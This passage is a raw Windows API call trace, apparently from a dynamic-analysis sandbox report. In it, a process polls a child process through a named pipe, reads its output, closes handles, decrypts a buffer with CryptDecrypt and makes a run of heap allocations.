(hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0140.907] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0140.908] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0140.978] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0140.978] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0141.015] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0141.022] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0141.135] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0141.135] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0141.256] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0141.256] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0141.278] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0141.278] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0141.308] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0141.308] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0141.339] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0141.339] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0141.372] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0141.372] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0141.409] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0141.410] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0141.432] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0141.433] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0141.467] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0141.467] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0141.495] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0141.495] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0141.526] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0141.526] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0141.557] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0141.557] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0141.592] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0141.592] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0141.630] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0141.631] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0141.651] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0141.651] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0141.682] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0141.682] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0141.713] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0141.713] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0141.747] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0141.747] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0141.776] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0141.776] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0141.807] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0141.807] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0141.842] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0141.842] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0141.870] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0141.870] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0141.900] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0141.901] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0141.932] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0141.932] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0141.963] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0141.963] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0141.995] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0141.995] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0142.065] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0142.065] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0142.088] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0142.088] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0142.119] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0142.119] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0142.150] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0142.150] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0142.213] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0142.214] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0142.263] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0142.263] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0142.452] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0142.453] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0142.528] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0142.528] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0142.949] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0142.949] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0142.988] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0142.988] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0143.009] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0143.009] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0143.173] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0143.174] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0143.356] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0143.356] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0143.466] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0143.466] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0143.492] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0143.492] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0143.527] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0143.542] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0143.575] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0143.575] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x0 [0143.604] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x2d, lpBytesLeftThisMessage=0x0) returned 1 [0143.604] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x2d, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x2d, lpOverlapped=0x0) returned 1 [0143.605] GetExitCodeProcess (in: hProcess=0x128, lpExitCode=0x18ed00 | out: lpExitCode=0x18ed00*=0x0) returned 1 [0143.605] CloseHandle (hObject=0x124) returned 1 [0143.605] CloseHandle (hObject=0x128) returned 1 [0143.605] CloseHandle (hObject=0xb8) returned 1 [0143.605] CloseHandle (hObject=0xc0) returned 1 [0143.605] CloseHandle (hObject=0xc4) returned 1 [0143.605] CloseHandle (hObject=0x120) returned 1 [0143.605] GetProcessHeap () returned 0x990000 [0143.606] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b12d8 | out: hHeap=0x990000) returned 1 [0143.606] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0143.606] GetProcessHeap () returned 0x990000 [0143.606] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7490 | out: hHeap=0x990000) returned 1 [0143.607] GetProcessHeap () returned 0x990000 [0143.607] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xe80) returned 0x9b7490 [0143.607] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f0f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0143.608] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b7490, pdwDataLen=0x18f168 | out: pbData=0x9b7490, pdwDataLen=0x18f168) returned 1 [0143.608] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0143.608] GetProcessHeap () returned 0x990000 [0143.608] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aed08 [0143.608] GetProcessHeap () returned 0x990000 [0143.608] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1e) returned 0x9b12d8 [0143.608] GetProcessHeap () returned 0x990000 [0143.608] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aed28 [0143.608] GetProcessHeap () returned 0x990000 [0143.608] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1c) returned 0x9b13f0 [0143.608] GetProcessHeap () returned 0x990000 [0143.608] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aed38 [0143.608] GetProcessHeap () returned 0x990000 [0143.608] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b1328 [0143.608] GetProcessHeap () returned 0x990000 [0143.609] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aed48 [0143.609] GetProcessHeap () returned 0x990000 [0143.609] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x18) returned 0x9af0d8 [0143.609] GetProcessHeap () returned 0x990000 [0143.609] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aed58 [0143.609] GetProcessHeap () returned 0x990000 [0143.609] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1c) returned 0x9b1350 [0143.609] GetProcessHeap () returned 0x990000 [0143.609] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aed68 [0143.609] GetProcessHeap () returned 0x990000 [0143.609] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x18) returned 0x9af158 [0143.609] GetProcessHeap () returned 0x990000 [0143.609] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aed78 [0143.609] GetProcessHeap () returned 0x990000 [0143.609] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1e) returned 0x9b1468 [0143.609] GetProcessHeap () returned 0x990000 [0143.609] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aed88 [0143.609] GetProcessHeap () returned 0x990000 [0143.609] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x12) returned 0x9af178 [0143.609] GetProcessHeap () returned 0x990000 [0143.609] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aed98 [0143.609] GetProcessHeap () returned 0x990000 [0143.609] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b14b8 [0143.609] GetProcessHeap () returned 0x990000 [0143.609] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aeda8 [0143.609] GetProcessHeap () returned 0x990000 [0143.609] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x16) returned 0x9af198 [0143.609] GetProcessHeap () returned 0x990000 [0143.610] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aedb8 [0143.610] GetProcessHeap () returned 0x990000 [0143.610] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1e) returned 0x9b1530 [0143.610] GetProcessHeap () returned 0x990000 [0143.610] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aedc8 [0143.610] GetProcessHeap () returned 0x990000 [0143.610] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3a) returned 0x9af7b0 [0143.610] GetProcessHeap () returned 0x990000 [0143.610] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aedd8 [0143.610] GetProcessHeap () returned 0x990000 [0143.610] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b1558 [0143.610] GetProcessHeap () returned 0x990000 [0143.610] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aede8 [0143.610] GetProcessHeap () returned 0x990000 [0143.610] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x16) returned 0x9af1b8 [0143.610] GetProcessHeap () returned 0x990000 [0143.610] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aedf8 [0143.610] GetProcessHeap () returned 0x990000 [0143.610] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b1580 [0143.610] GetProcessHeap () returned 0x990000 [0143.610] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aee08 [0143.610] GetProcessHeap () returned 0x990000 [0143.610] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x14) returned 0x9af1d8 [0143.610] GetProcessHeap () returned 0x990000 [0143.610] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aee18 [0143.610] GetProcessHeap () returned 0x990000 [0143.610] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x16) returned 0x9af1f8 [0143.610] GetProcessHeap () returned 0x990000 [0143.611] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aee28 [0143.611] GetProcessHeap () returned 0x990000 [0143.611] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x26) returned 0x9b49a0 [0143.611] GetProcessHeap () returned 0x990000 [0143.611] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aee38 [0143.611] GetProcessHeap () returned 0x990000 [0143.611] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2a) returned 0x9b4d48 [0143.611] GetProcessHeap () returned 0x990000 [0143.611] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aee48 [0143.611] GetProcessHeap () returned 0x990000 [0143.611] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x26) returned 0x9b1c30 [0143.611] GetProcessHeap () returned 0x990000 [0143.611] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aee58 [0143.611] GetProcessHeap () returned 0x990000 [0143.611] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x26) returned 0x9b8330 [0143.611] GetProcessHeap () returned 0x990000 [0143.611] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aee68 [0143.611] GetProcessHeap () returned 0x990000 [0143.611] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x14) returned 0x9af218 [0143.611] GetProcessHeap () returned 0x990000 [0143.611] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aee78 [0143.611] GetProcessHeap () returned 0x990000 [0143.611] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b15a8 [0143.611] GetProcessHeap () returned 0x990000 [0143.611] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aee88 [0143.611] GetProcessHeap () returned 0x990000 [0143.612] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x26) returned 0x9b8360 [0143.612] GetProcessHeap () returned 0x990000 [0143.612] 